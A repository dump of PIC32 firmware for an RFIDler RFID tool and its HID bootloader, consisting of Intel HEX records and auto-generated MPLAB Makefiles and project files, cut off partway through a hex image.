:1045ec00ffff4224ff004230f6ff40140002a3ac50
:0845fc000800e00300000000cc
:020000040000fa
:020000041d00dd
:10460400ff00843024008014ff00a5304880828f8e
:104614000200439008000324020043a003004490d6
:10462400fcff032424188300030043a04880828fe6
:104634004080842700e0837c04004590040044a06b
:104644000500449002220300050044a006004490a3
:1046540002240300060044a007004490021e030045
:10466400070043a0000043908cff0324000043a0f4
:1046740001004390010040a07480828f00004390a9
:1046840084ff0324000043a001004390010040a0e4
:104694000800e00300000000402004002120a400e2
:1046a4000021040000a0033c0004632421106400e2
:1046b4000000469001004590002a05002528a60028
:1046c4008400a534ffffa530000045a0022a0500a0
:1046d400010045a008008424212064000000839088
:1046e400010082900012020025104300840042342d
:1046f400ffff4230000082a0021202000800e00323
:04470400010082a08e
:020000040000fa
:020000041d00dd
:10470800a8ffbd270400a1af0800a2af0c00a3af0b
:104718001000a4af1400a5af1800a6af1c00a7afe7
:104728002000a8af2400a9af2800aaaf2c00abaf87
:104738003000acaf3400adaf3800aeaf3c00afaf27
:104748004000b8af4400b9af4800bfaf1240000006
:104758004c00a8af104000005000a8af006804400b
:10476800006005404713400f000000005000a88f6c
:10477800110000014c00a88f130000010400a18f54
:104788000800a28f0c00a38f1000a48f1400a58f1f
:104798001800a68f1c00a78f2000a88f2400a98fbf
:1047a8002800aa8f2c00ab8f3000ac8f3400ad8f5f
:1047b8003800ae8f3c00af8f4000b88f4400b98fef
:1047c8004800bf8f5800bd27c000000018000042f5
:020000040000fa
:020000041d00dd
:1047d800e8ffbd271400bfaf88bf023c0061438ccf
:1047e80001000424c439837c006143ac00a0023c6e
:1047f800108082af88bf023c1061428c800042303a
:104808001500401081bf023c00f6428c4000423047
:104818000600401000a0023c0000438c3412023c09
:10482800785642240c00621000a0023c000040ac04
:10483800009d023c0060438cffff022406006210ca
:10484800009d023c0060422409f84000000000007e
:104858001612400b00000000680e400f0000000018
:104868004512400f000000004000032481bf023cb5
:1048780004f643ac1080828f000040ac3608400f2d
:1048880000000000e312400f000000002112400b5e
:04489800000000001c
:020000040000fa
:020000041d00dd
:10489c00e0ffbd271c00bfaf1800b2af1400b1afd2
:1048ac001000b0afff009130ff00b03008000232b2
:1048bc000400401021900002212020028112400fa0
:1048cc0021280000040052320500405200891100da
:1048dc00212020028112400f0100052400891100c3
:1048ec0088bf023c0053422421885100000030a2b2
:1048fc001c00bf8f1800b28f1400b18f1000b08f46
:08490c000800e0032000bd27b4
:020000040000fa
:020000041d00dd
:10491400f0ff023488bf033c206162ac88bf033cd3
:10492400006162ac88bf033c0061648c0100022416
:10493400c439447c006164ac0061648c8431447c7f
:10494400006164ac088080af0c8080af048082afcb
:1049540088bf033c6020648c02230400858084a308
:104964006020648c001d033c21188300908083af79
:104974008d8082a38c8080a3ffff0224888082af75
:084984000800e003848080a319
:020000040000fa
:020000041d00dd
:10498c00e8ffbd271400bfaf5d13400f000000000f
:10499c0088bf023c0030438c0003637c0800601429
:1049ac0099aa033c0010042488bf033c083064ac73
:1049bc000030438c00086330fdff601499aa033c5f
:1049cc0081bf023c5566632430f240ac30f243acfc
:1049dc006655033caa99633430f243ac81bf023c68
:1049ec000100032418f643ac81bf023c10f6428c44
:0849fc007f12400b00000000d7
:020000040000fa
:020000041d00dd
:104a0400401804002118a3000019030000a0023c70
:104a1400000442242110430000004390c439037c65
:104a2400000043a00500a0148020040060808327b8
:104a3400212064009312400b000082ac7480832711
:104a440021206400000082ac000043908431037c88
:104a5400000043a008004390010004248431837cb7
:0c4a6400080043a00800e0030000000070
:020000040000fa
:020000041d00dd
:104a7000000200a04002000000000000080000a0aa
:104a800004000000000000000c0000a00400000072
:104a900000000000040000a004000000010000006d
:104aa00001000000100000a0040000000000000051
:104ab000140000a00200000000000000160000a08a
:104ac0000200000000000000400400a040010000bf
:084ad0000000000000000000de
:020000040000fa
:020000041d00dd
:104ad800e8ffbd271400bfaf1000b0af84808493f7
:104ae8000d00801000a0103c000510268020040056
:104af8008880828f232044001713400f0000058e02
:104b080084808493ffff8424ff008430848084a3fe
:104b1800f6ff801404001026400000001400bf8f28
:0c4b28001000b08f0800e0031800bd274b
:020000040000fa
:020000041d00dd
:104b3400e8ffbd27030002240a0082101400bfaf5f
:104b4400720002240b008210010002240c00821463
:104b54001400bf8f0813400f00000000e012400b48
:104b6400010002242f13400f00000000e012400b4c
:104b74000100022440000000010002241400bf8f41
:084b84000800e0031800bd2742
:020000040000fa
:020000041d00dd
:104b8c00e8ffbd271400bfaf0480828f04004010e3
:104b9c007080828f500f400f000000007080828f59
:104bac002000422c0700401488bf023c8050428ced
:104bbc0002004230040040141400bf8f4a0d400f15
:104bcc00000000001400bf8f0800e0031800bd2790
:020000040000fa
:020000041d00dd
:104bdc0088bf023c5052438c010004248410837c17
:104bec00505243ac08070224ffff4224ffff42301f
:104bfc00feff4014ffff4224148080a788bf023cb4
:104c0c005052438c8410037c505243ac0800e00398
:044c1c000000000094
:020000040000fa
:020000041d00dd
:104c2000e8ffbd271400bfaf010004242712400f86
:104c30001d000524010004242128000000a0063cda
:104c40004004c6246e10400f40000724088082af45
:0c4c50001400bf8f0800e0031800bd270f
:020000040000fa
:020000041d00dd
:104c5c0000e0827c81bf033ce8ffbd2720f462acfe
:104c6c000140042481bf023c1400bfaf30f445acba
:104c7c00fa10400f000000001400bf8f0800e00382
:044c8c001800bd2728
:020000040000fa
:020000041d00dd
:104c9000e8ffbd2700e0837c81bf023c0440042480
:104ca0001400bfaf20f443acfa10400f0000000026
:0c4cb0001400bf8f0800e0031800bd27af
:020000040000fa
:020000041d00dd
:104cbc00e8ffbd271400bfafbc0f400f0000000081
:0c4ccc001400bf8f0800e0031800bd2793
:020000040000fa
:020000041d00dd
:104cd8000100843003008014000000000800e00395
:0c4ce800006060410800e00320606041b3
:020000040000fa
:020000041d00dd
:104cf40000601a40bfff1b3cffff7b3724d05b03df
:104d040000609a4018000042f611400f00000000b5
:084d1400ffff00100000000089
:020000040000fa
:020000041d00dd
:0c4d1c003f0000704813400b0000000036
:020000040000fa
:020000041d00dd
:0c4d28003f0000704b13400b0000000027
:020000040000fa
:020000041d00dd
:084d34000800e003000000008c
:020000040000fa
:020000041d00dd
:084d3c000800e0030000000084
:020000040000fa
:020000041d00dd
:084d44000800e003000000007c
:020000040000fa
:020000041d00dd
:084d4c000800e0030000000074
:020000040000fa
:020000041d00dd
:084d54000800e003000000006c
:020000040000fa
:020000041d00dd
:084d5c000800e0030000000064
:020000040000fa
:020000041d00dd
:084d64000800e003000000005c
:020000040000fa
:020000041d00dd
:084d6c000800e0030000000054
:020000040000fa
:020000041d00dd
:084d74000800e0030060624149
:00000001FF
================================================
FILE: firmware/Pic32/HIDBoot_MX795_Hex_Load.X/Makefile
================================================
#
# There exist several targets which are by default empty and which can be
# used for execution of your targets. These targets are usually executed
# before and after some main targets. They are:
#
# .build-pre: called before 'build' target
# .build-post: called after 'build' target
# .clean-pre: called before 'clean' target
# .clean-post: called after 'clean' target
# .clobber-pre: called before 'clobber' target
# .clobber-post: called after 'clobber' target
# .all-pre: called before 'all' target
# .all-post: called after 'all' target
# .help-pre: called before 'help' target
# .help-post: called after 'help' target
#
# Targets beginning with '.' are not intended to be called on their own.
#
# Main targets can be executed directly, and they are:
#
# build build a specific configuration
# clean remove built files from a configuration
# clobber remove all built files
# all build all configurations
# help print help mesage
#
# Targets .build-impl, .clean-impl, .clobber-impl, .all-impl, and
# .help-impl are implemented in nbproject/makefile-impl.mk.
#
# Available make variables:
#
# CND_BASEDIR base directory for relative paths
# CND_DISTDIR default top distribution directory (build artifacts)
# CND_BUILDDIR default top build directory (object files, ...)
# CONF name of current configuration
# CND_ARTIFACT_DIR_${CONF} directory of build artifact (current configuration)
# CND_ARTIFACT_NAME_${CONF} name of build artifact (current configuration)
# CND_ARTIFACT_PATH_${CONF} path to build artifact (current configuration)
# CND_PACKAGE_DIR_${CONF} directory of package (current configuration)
# CND_PACKAGE_NAME_${CONF} name of package (current configuration)
# CND_PACKAGE_PATH_${CONF} path to package (current configuration)
#
# NOCDDL
# Environment
MKDIR=mkdir
CP=cp
CCADMIN=CCadmin
RANLIB=ranlib
# build
build: .build-post
.build-pre:
# Add your pre 'build' code here...
.build-post: .build-impl
# Add your post 'build' code here...
# clean
clean: .clean-post
.clean-pre:
# Add your pre 'clean' code here...
.clean-post: .clean-impl
# Add your post 'clean' code here...
# clobber
clobber: .clobber-post
.clobber-pre:
# Add your pre 'clobber' code here...
.clobber-post: .clobber-impl
# Add your post 'clobber' code here...
# all
all: .all-post
.all-pre:
# Add your pre 'all' code here...
.all-post: .all-impl
# Add your post 'all' code here...
# help
help: .help-post
.help-pre:
# Add your pre 'help' code here...
.help-post: .help-impl
# Add your post 'help' code here...
# include project implementation makefile
include nbproject/Makefile-impl.mk
# include project make variables
include nbproject/Makefile-variables.mk
================================================
FILE: firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/configurations.xml
================================================
HIDBoot.X.production.hexMakefilelocalhostPIC32MX795F512LPICkit3PlatformTool2falsefalsefalsefalsefalsefalsefalse
================================================
FILE: firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/project.properties
================================================
================================================
FILE: firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/project.xml
================================================
com.microchip.mplab.nbide.embedded.makeprojectHIDBoot_MX795_Hex_Load535318eb-1289-45dc-9001-2dc0cd0664e70ISO-8859-1
================================================
FILE: firmware/Pic32/RFIDler.X/Makefile
================================================
#
# There exist several targets which are by default empty and which can be
# used for execution of your targets. These targets are usually executed
# before and after some main targets. They are:
#
# .build-pre: called before 'build' target
# .build-post: called after 'build' target
# .clean-pre: called before 'clean' target
# .clean-post: called after 'clean' target
# .clobber-pre: called before 'clobber' target
# .clobber-post: called after 'clobber' target
# .all-pre: called before 'all' target
# .all-post: called after 'all' target
# .help-pre: called before 'help' target
# .help-post: called after 'help' target
#
# Targets beginning with '.' are not intended to be called on their own.
#
# Main targets can be executed directly, and they are:
#
# build build a specific configuration
# clean remove built files from a configuration
# clobber remove all built files
# all build all configurations
# help print help mesage
#
# Targets .build-impl, .clean-impl, .clobber-impl, .all-impl, and
# .help-impl are implemented in nbproject/makefile-impl.mk.
#
# Available make variables:
#
# CND_BASEDIR base directory for relative paths
# CND_DISTDIR default top distribution directory (build artifacts)
# CND_BUILDDIR default top build directory (object files, ...)
# CONF name of current configuration
# CND_ARTIFACT_DIR_${CONF} directory of build artifact (current configuration)
# CND_ARTIFACT_NAME_${CONF} name of build artifact (current configuration)
# CND_ARTIFACT_PATH_${CONF} path to build artifact (current configuration)
# CND_PACKAGE_DIR_${CONF} directory of package (current configuration)
# CND_PACKAGE_NAME_${CONF} name of package (current configuration)
# CND_PACKAGE_PATH_${CONF} path to package (current configuration)
#
# NOCDDL
# Environment
MKDIR=mkdir
CP=cp
CCADMIN=CCadmin
RANLIB=ranlib
# build
build: .build-post
.build-pre:
# Add your pre 'build' code here...
.build-post: .build-impl
# Add your post 'build' code here...
# clean
clean: .clean-post
.clean-pre:
# Add your pre 'clean' code here...
.clean-post: .clean-impl
# Add your post 'clean' code here...
# clobber
clobber: .clobber-post
.clobber-pre:
# Add your pre 'clobber' code here...
.clobber-post: .clobber-impl
# Add your post 'clobber' code here...
# all
all: .all-post
.all-pre:
# Add your pre 'all' code here...
.all-post: .all-impl
# Add your post 'all' code here...
# help
help: .help-post
.help-pre:
# Add your pre 'help' code here...
.help-post: .help-impl
# Add your post 'help' code here...
# include project implementation makefile
include nbproject/Makefile-impl.mk
# include project make variables
include nbproject/Makefile-variables.mk
================================================
FILE: firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex
================================================
:020000040000fa
:020000041fc01b
:042ffc00ffffff6e66
:020000040000fa
:020000041d00dd
:106000000218400f0000000000601a40c0045a7fd0
:106010000500401300000000059d1a3ce45e5a276d
:10602000080040030000000000a01d3cf87ebd27d2
:1060300001a01c3c00809c270260094020582001e0
:10604000801e2a7d8449497d02608940c00000008d
:1060500000e0dc4102608b40c0000000059d083c70
:10606000c45f082509f800010000000000a0083cfa
:106070003c00082500a0093cf06a29250600001014
:1060800000000000000000ad040000ad080000adfd
:106090000c0000ad100008252b080901f9ff2014a1
:1060a00000000000049d083cd46708250000098d0d
:1060b000180020110400082500000a8d040008259e
:1060c00000000b8d090060110400082500000c91f0
:1060d000ffff4a250100082500002ca1fbff401509
:1060e000010029250500001000000000000020a18b
:1060f000ffff4a25fdff4015010029250300082563
:10610000fcff0a24244048010000098de7ff201508
:10611000000000000000093c0000292510002011ab
:10612000000000000000093c007f292588bf0a3cd0
:1061300010204a25000049ad0000093c007f2925b8
:1061400088bf0a3c20204a25000049ad0000093cd8
:10615000007f292588bf0a3c30204a25000049ad30
:1061600000488040ffff0a2400588a40009d093cf7
:1061700000502925017889400000093c01002925ab
:1061800000000a2444492a7d01608a408000093cbd
:1061900000688940008008408005097d404c090066
:1061a000006008405800013c2440010125402801be
:1061b00000608840c0000000059d083ccc5f0825b9
:1061c00009f800010000000000600840bfff013c2a
:1061d000ffff21342440010100608840000084302a
:1061e0000000a530059d083c245608250800000144
:0461f00000000000ab
:020000040000fa
:020000041d00dd
:10638000059d1a3cb8575a2708004003000000003a
:020000040000fa
:020000041d00dd
:10518000059d1a3cf8405a27080040030000000023
:020000040000fa
:020000041d00dd
:085200001256410b00000000f2
:020000040000fa
:020000041d00dd
:085220001256410b00000000d2
:020000040000fa
:020000041d00dd
:085240001256410b00000000b2
:020000040000fa
:020000041d00dd
:085260001256410b0000000092
:020000040000fa
:020000041d00dd
:08528000fc1d410b00000000c1
:020000040000fa
:020000041d00dd
:0852a0001256410b0000000052
:020000040000fa
:020000041d00dd
:0852c0001256410b0000000032
:020000040000fa
:020000041d00dd
:0852e0001256410b0000000012
:020000040000fa
:020000041d00dd
:085300001256410b00000000f1
:020000040000fa
:020000041d00dd
:085320001256410b00000000d1
:020000040000fa
:020000041d00dd
:085340001256410b00000000b1
:020000040000fa
:020000041d00dd
:085360001256410b0000000091
:020000040000fa
:020000041d00dd
:085380009bf1400b000000004e
:020000040000fa
:020000041d00dd
:0853a0001256410b0000000051
:020000040000fa
:020000041d00dd
:0853c0001256410b0000000031
:020000040000fa
:020000041d00dd
:0853e0001256410b0000000011
:020000040000fa
:020000041d00dd
:08540000dcf2400b000000008b
:020000040000fa
:020000041d00dd
:085420001256410b00000000d0
:020000040000fa
:020000041d00dd
:085440001256410b00000000b0
:020000040000fa
:020000041d00dd
:085460001256410b0000000090
:020000040000fa
:020000041d00dd
:085480001256410b0000000070
:020000040000fa
:020000041d00dd
:0854a0001256410b0000000050
:020000040000fa
:020000041d00dd
:0854c000b3f0400b00000000f6
:020000040000fa
:020000041d00dd
:0854e0001256410b0000000010
:020000040000fa
:020000041d00dd
:085500001256410b00000000ef
:020000040000fa
:020000041d00dd
:085520001256410b00000000cf
:020000040000fa
:020000041d00dd
:085540001256410b00000000af
:020000040000fa
:020000041d00dd
:085560001256410b000000008f
:020000040000fa
:020000041d00dd
:085580001256410b000000006f
:020000040000fa
:020000041d00dd
:0855a0001256410b000000004f
:020000040000fa
:020000041d00dd
:0855c0001256410b000000002f
:020000040000fa
:020000041d00dd
:0855e0001256410b000000000f
:020000040000fa
:020000041d00dd
:085600001256410b00000000ee
:020000040000fa
:020000041d00dd
:085620001256410b00000000ce
:020000040000fa
:020000041d00dd
:085640001256410b00000000ae
:020000040000fa
:020000041d00dd
:085660001256410b000000008e
:020000040000fa
:020000041d00dd
:085680001256410b000000006e
:020000040000fa
:020000041d00dd
:0856a0001256410b000000004e
:020000040000fa
:020000041d00dd
:0856c0001256410b000000002e
:020000040000fa
:020000041d00dd
:0856e0001256410b000000000e
:020000040000fa
:020000041d00dd
:085700001256410b00000000ed
:020000040000fa
:020000041d00dd
:085720001256410b00000000cd
:020000040000fa
:020000041d00dd
:085740001256410b00000000ad
:020000040000fa
:020000041d00dd
:085760001256410b000000008d
:020000040000fa
:020000041d00dd
:085780001256410b000000006d
:020000040000fa
:020000041d00dd
:0857a000cc9f400b000000004b
:020000040000fa
:020000041d00dd
:0857c0001256410b000000002d
:020000040000fa
:020000041d00dd
:0857e0001256410b000000000d
:020000040000fa
:020000041d00dd
:085800001256410b00000000ec
:020000040000fa
:020000041d00dd
:085820001256410b00000000cc
:020000040000fa
:020000041d00dd
:085840001256410b00000000ac
:020000040000fa
:020000041d00dd
:085860001256410b000000008c
:020000040000fa
:020000041fc01b
:1004800000f89b40c0000000059d1b3c1c597b27c9
:10049000020060130000000000c09b4000f81b40f9
:0c04a000c00000001f000042000000002f
:020000040000fa
:020000041d00dd
:106e0000e0ffbd271c00bfaf1800beaf21f0a003fc
:106e10001000c0af8f1b400b000000001000c38f9c
:106e20001c8182272110620001000324000043a07e
:106e30001000c28f010042241000c2af1000c28fa8
:106e400003004228f5ff401400000000468080a3a4
:106e50003c8080a3ffff0224048082afffff022456
:106e6000088082af20d5400f0000000000a0023c47
:106e700058104424a223400f0000000034004014a6
:106e8000000000000c80828f00a0033c5810632497
:106e9000000043ac0c80828f0c0040a40c80828fd9
:106ea0000e0040a40c80828f100040ac0c80828fba
:106eb000140040ac0c80828f5c000324200043a0af
:106ec000010002241000c2afbc1b400b00000000f8
:106ed0000c80838f1000c28f2110620020000324d9
:106ee000200043a01000c28f010042241000c2af56
:106ef0001000c28f0b004228f5ff40140000000074
:106f00000c80828f360040a40c80828f10000324f6
:106f10003a0043a40c80828f2881838f3c0043accd
:106f20000c80828f2881838f400043ac0c80828f3d
:106f3000010003242c0043ac0c80828f340040a459
:106f4000388180a301000224d51b400b0000000003
:106f50002110000021e8c0031c00bf8f1800be8f65
:106f60002000bd270800e0030000000068ffbd27e7
:106f70009400bfaf9000beaf8c00b0af21f0a00373
:106f80009800c4af9c00c5af2118c0002110e000dc
:106f9000a000c3a3a400c2a39800c28f36004294ed
:106fa0004c00c2a70b0002241000c2af00a0023c9c
:106fb000440642243c00c2af9c00c28f3000428c89
:106fc0004000c2af1a00c0a71c00c0a72000c0a785
:106fd0002400c0af3000c0af3800c0a34400c0a33d
:106fe0009c00c28f34004294148182a7148182973e
:106ff000240040100000000014818497c44e023c1d
:107000004fec423419008200101000008228020068
:107010002118a000801003002118400080100300f8
:10702000231043002110450023108200ffff42304f
:107030004400c2a314818397c44e023c4fec4234f7
:10704000190062001010000082100200ffff4230a1
:107050001600c2a34400c2930500401400000000c3
:10706000148182970d00422c0400401000000000a3
:107070001600c293010042241600c2a31600c29358
:107080003800c2a39800c28f3c00438c9800c28f86
:10709000400043ac9c00c28f3a004294271002008b
:1070a0004600c2a74c00c2970d004014000000002b
:1070b0004c00c2279800c48f2128400001000624fc
:1070c000e72f400f000000001300401400000000f4
:1070d0001b0002241000c2af461c400b0000000041
:1070e0004c00c2970f0042300b004010000000001f
:1070f0004c00c2279800c48f2128400001000624bc
:10710000e72f400f000000000300401400000000c3
:107110001b0002241000c2af1000c38f1b0002240a
:1071200055066210000000001000c28f11004010d0
:10713000000000002800c0af2c00c0af5000c327e3
:107140004c00c2279800c48f2128600021304000e5
:107150003839400f000000004800c2a34800c39324
:107160000200022405006214000000009e22400b71
:10717000000000009e22400b000000004800c29367
:1071800030064014000000005b00c3930f0002248f
:107190001c006210000000002400c0af5000c39328
:1071a0003c00c28f000043a01600c0a3791c400b16
:1071b000000000001600c293010042243c00c38f6f
:1071c000211062001600c3931000c4272118830009
:1071d00041006390000043a01600c29301004224c6
:1071e0001600c2a31600c2930a00422cf1ff4014fd
:1071f00000000000010002242800c2af291e400b3d
:10720000000000005000c29340004230f8004010df
:10721000000000005000c2931f0042304900c2a38a
:10722000a400c2931500401400000000148182974e
:1072300005004010000000004900c3933800c293cd
:107240000800621400000000148182970b004014b3
:10725000000000004900c3930100022407006210ef
:10726000000000004c00c29701004224ffff4230a2
:107270004c00c2a79c22400b000000005000c293ab
:10728000bf004230ffff4230211840002110600053
:107290008010020080200200231082002110430091
:1072a000ffff4230ffff4224ffff42301a00c2a717
:1072b0001a00c2971800c2a71a00c287ffff432412
:1072c0001a00c3a7212040006e00c39700a0023c13
:1072d000402004004406422421108200000043a400
:1072e0001a00c287ffff43241a00c3a721204000d1
:1072f0006c00c39700a0023c4020040044064224d6
:1073000021108200000043a41a00c287ffff43241b
:107310001a00c3a7212040006800c39700a0023cc8
:10732000402004004406422421108200000043a4af
:107330001a00c287ffff43241a00c3a72120400080
:107340006600c39700a0023c40200400440642248b
:1073500021108200000043a41a00c287ffff4324cb
:107360001a00c3a7212040006400c39700a0023c7c
:10737000402004004406422421108200000043a45f
:107380001a00c287ffff43241a00c3a72120400030
:107390006200c39700a0023c40200400440642243f
:1073a00021108200000043a41a00c287ffff43247b
:1073b0001a00c3a7212040006000c39700a0023c30
:1073c000402004004406422421108200000043a40f
:1073d0001a00c287ffff43241a00c3a721204000e0
:1073e0005e00c39700a0023c4020040044064224f3
:1073f00021108200000043a45900c2937000c2a370
:107400005a00c2937100c2a31a00c287ffff43242f
:107410001a00c3a7212040007000c39700a0023cbf
:10742000402004004406422421108200000043a4ae
:107430005700c2937000c2a35800c2937100c2a348
:107440001a00c287ffff43241a00c3a7212040006f
:107450007000c39700a0023c402004004406422470
:1074600021108200000043a45500c2937000c2a303
:107470005600c2937100c2a31a00c287ffff4324c3
:107480001a00c3a7212040007000c39700a0023c4f
:10749000402004004406422421108200000043a43e
:1074a0005300c2937000c2a35400c2937100c2a3e0
:1074b0001a00c287ffff43241a00c3a721204000ff
:1074c0007000c39700a0023c402004004406422400
:1074d00021108200000043a45100c2937000c2a397
:1074e0005200c2937100c2a31a00c287ffff432457
:1074f0001a00c3a7212040007000c39700a0023cdf
:10750000402004004406422421108200000043a4cd
:107510001800c29701004224ffff42302000c2a79a
:10752000010002241600c2a35f1d400b00000000f2
:107530001a00c3871600c2932118620000a0023c03
:1075400040180300440642242110620000004294c7
:1075500007004014000000001600c293ffff4330f4
:107560001a00c29721106200ffff42302000c2a71c
:107570001600c293010042241600c2a31600c29353
:107580000e00422ceaff401400000000a400c29349
:107590000f00401400000000148182972118400061
:1075a0002000c2870a006210000000001481829748
:1075b00007004010000000004c00c2970100422468
:1075c000ffff42304c00c2a79c22400b000000008d
:1075d0002000c297ffff4224ffff42301c00c2a7d9
:1075e000010002242400c2af1e1e400b0000000058
:1075f0002400c38f010002249900621400000000df
:107600001a00c287ffff43241a00c3a721204000ad
:107610006e00c39700a0023c4020040044064224b0
:1076200021108200000043a41a00c287ffff4324f8
:107630001a00c3a7212040006c00c39700a0023ca1
:10764000402004004406422421108200000043a48c
:107650001a00c287ffff43241a00c3a7212040005d
:107660006800c39700a0023c402004004406422466
:1076700021108200000043a41a00c287ffff4324a8
:107680001a00c3a7212040006600c39700a0023c57
:10769000402004004406422421108200000043a43c
:1076a0001a00c287ffff43241a00c3a7212040000d
:1076b0006400c39700a0023c40200400440642241a
:1076c00021108200000043a41a00c287ffff432458
:1076d0001a00c3a7212040006200c39700a0023c0b
:1076e000402004004406422421108200000043a4ec
:1076f0001a00c287ffff43241a00c3a721204000bd
:107700006000c39700a0023c4020040044064224cd
:1077100021108200000043a41a00c287ffff432407
:107720001a00c3a7212040005e00c39700a0023cbe
:10773000402004004406422421108200000043a49b
:107740005900c2937000c2a35a00c2937100c2a331
:107750001a00c287ffff43241a00c3a7212040005c
:107760007000c39700a0023c40200400440642245d
:1077700021108200000043a45700c2937000c2a3ee
:107780005800c2937100c2a31a00c287ffff4324ae
:107790001a00c3a7212040007000c39700a0023c3c
:1077a000402004004406422421108200000043a42b
:1077b0005500c2937000c2a35600c2937100c2a3c9
:1077c0001a00c287ffff43241a00c3a721204000ec
:1077d0007000c39700a0023c4020040044064224ed
:1077e00021108200000043a45300c2937000c2a382
:1077f0005400c2937100c2a31a00c287ffff432442
:107800001a00c3a7212040007000c39700a0023ccb
:10781000402004004406422421108200000043a4ba
:107820005100c2937000c2a35200c2937100c2a360
:107830001a00c287ffff43241a00c3a7212040007b
:107840007000c39700a0023c40200400440642247c
:1078500021108200000043a41e1e400b0000000007
:107860004c00c29701004224ffff42304c00c2a7e7
:107870009c22400b000000001a00c287070040183d
:10788000000000004c00c29701004224ffff42307c
:107890004c00c2a79c22400b000000000100022403
:1078a0002c00c2af2400c0af1000c0afa400c29330
:1078b0000600401000000000010003247d01431079
:1078c000000000004d22400b000000001600c0a385
:1078d000421e400b000000001600c2931600c39326
:1078e0003c00c48f2118830000006390201c037c9f
:1078f0001000c42721108200640043a01600c29328
:10790000010042241600c2a31600c2930b00422cb1
:10791000f1ff4014000000003c00c28f0800422428
:107920000000439020000224570062100000000075
:107930001600c0a35b1e400b000000001600c2939f
:107940003c00c38f211062000000439020000224fd
:1079500003006214000000005f1e400b00000000e6
:107960001600c293010042241600c2a31600c2935f
:107970000800422cf1ff4014000000001600c293e2
:10798000010043241600c3a31000c3272110620086
:107990002e000324640043a01600c2930100432478
:1079a0001600c3a33c00c38f08006324000063904b
:1079b000201c037c1000c42721108200640043a017
:1079c0003c00c28f090042240000439020000224a2
:1079d0000d006210000000001600c2930100432455
:1079e0001600c3a33c00c38f09006324000063900a
:1079f000201c037c1000c42721108200640043a0d7
:107a0000881e400b000000001600c29301004324b2
:107a10001600c3a31000c32721106200640040a019
:107a20003c00c28f0a004224000043902000022440
:107a30000d006210000000001600c29301004324f4
:107a40001600c3a33c00c38f0a00632400006390a8
:107a5000201c037c1000c42721108200640043a076
:107a6000b51e400b000000001600c2930100432425
:107a70001600c3a31000c32721106200640040a0b9
:107a8000b51e400b000000001600c0a3b11e400b45
:107a9000000000001600c2931000c32721106200ee
:107aa00064004380200002240300621400000000f0
:107ab000b51e400b000000001600c29301004224d6
:107ac0001600c2a31600c2930800422cf1ff401416
:107ad000000000001600c2931000c32721106200ae
:107ae000640040a0148182978c00401000000000c8
:107af0002c00c28f4a004010000000001800c0a7f0
:107b0000ff1e400b000000009c00c28f2c00428c26
:107b100026004010000000001800c287401002003c
:107b20004000c38f21106200000042941400c2a3e1
:107b30001800c38700a0023c4018030044064224fa
:107b400021106200000042941500c2a31800c387f0
:107b500000a0023c401803004406422421106200a9
:107b6000000042940001422c0c0040100000000074
:107b70001400c293212040006157410f0000000013
:107b8000218040001500c293212040006157410f21
:107b90000000000016000212000000000b0002248a
:107ba0001000c2af061f400b000000001800c28783
:107bb000401002004000c38f211062000000439477
:107bc0001800c48700a0023c402004004406422460
:107bd00021108200000042940500621000000000a5
:107be0000b0002241000c2af061f400b0000000073
:107bf0001800c287010042241800c2a71800c387da
:107c0000148182972a106200bfff40140000000018
:107c1000ab1f400b00000000ab1f400b000000003a
:107c20002800c28f39004010000000009c00c28f65
:107c30002c00428c35004010000000007400c22768
:107c400021204000a34a410f0000000021184000fd
:107c50001481829705006210000000000b000224ce
:107c60001000c2af401f400b000000001800c0a76a
:107c70003b1f400b000000001800c28740100200ac
:107c80004000c38f21106200000042941400c2a380
:107c90001800c2871000c3272110620064004280d0
:107ca0001500c2a31400c293212040006157410f68
:107cb00000000000218040001500c29321204000f8
:107cc0006157410f00000000050002120000000093
:107cd0000b0002241000c2af401f400b0000000048
:107ce0001800c287010042241800c2a71800c387e9
:107cf000148182972a106200dfff40140000000008
:107d000000000000ab1f400b000000000b0002242d
:107d10001000c2afab1f400b000000002c00c28f50
:107d20003f004010000000007400c22721204000e6
:107d3000a34a410f00000000211840002000c28724
:107d400005006210000000000b0002241000c2af0a
:107d5000ab1f400b000000001800c0a7811f400ba4
:107d6000000000001800c38700a0023c4018030078
:107d70004406422421106200000042941400c2a371
:107d80001800c2871000c3272110620064004280df
:107d90001500c2a31800c38700a0023c40180300ce
:107da0004406422421106200000042940001422c4b
:107db0000c004010000000001400c293212040007d
:107dc0006157410f00000000218040001500c29360
:107dd000212040006157410f000000000600021200
:107de000000000000b0002241000c2af00000000e1
:107df000ab1f400b000000001800c28701004224a6
:107e00001800c2a71800c3872000c2872a1062008a
:107e1000d4ff401400000000ab1f400b0000000026
:107e20001600c0a3a71f400b000000001600c2935d
:107e30003c00c38f21106200000042901400c2a3d6
:107e40001600c2939c00c38f211062002000428064
:107e50001500c2a31400c293212040006157410fb6
:107e600000000000218040001500c2932120400046
:107e70006157410f000000000500021200000000e1
:107e80000b0002241000c2afab1f400b000000002b
:107e90001600c293010042241600c2a31600c2932a
:107ea0000b00422ce1ff4014000000004d22400b6b
:107eb00000000000148182978a0140100000000039
:107ec0003000c0af2c00c28f220040100000000024
:107ed0001c00c2971e00c2a7cb1f400b0000000071
:107ee0001e00c38700a0023c401803004406422441
:107ef00021106200000043942e0002240800621446
:107f000000000000010002243000c2af1e00c28742
:107f1000ffff42241e00c2a7ce1f400b000000003e
:107f20001e00c287ffff42241e00c2a71e00c28798
:107f3000ebff401c000000003000c28f0f00401417
:107f4000000000001c00c2971e00c2a7df1f400bec
:107f5000000000003c00c28f080042240000439053
:107f6000200002240300621000000000010002242f
:107f70003000c2af070002241e00c2a714818297fe
:107f8000ffff4224ffff42301a00c2a73400c0aff7
:107f9000f81f400b000000001a00c28740100200ca
:107fa0004000c38f21106200000043942e00022481
:107fb0000800621400000000010002243400c2af77
:107fc0001a00c287ffff42241a00c2a7fb1f400b02
:107fd000000000001a00c287ffff42241a00c2a757
:107fe0001a00c287ecff401c000000003400c28f62
:107ff000050040140000000014818297ffff422416
:10800000ffff42301a00c2a71800c0a71800c2879d
:10801000401002004000c38f211062000000439412
:108020002a00022403006214000000007d20400b9f
:10803000000000001800c3871e00c2872a104300fa
:1080400005004010000000000b0002241000c2af29
:108050007d20400b000000001800c2874010020085
:108060004000c38f21106200000043943f000224af
:108070004b006210000000009c00c28f2c00428c5c
:1080800033004010000000001800c28740100200ba
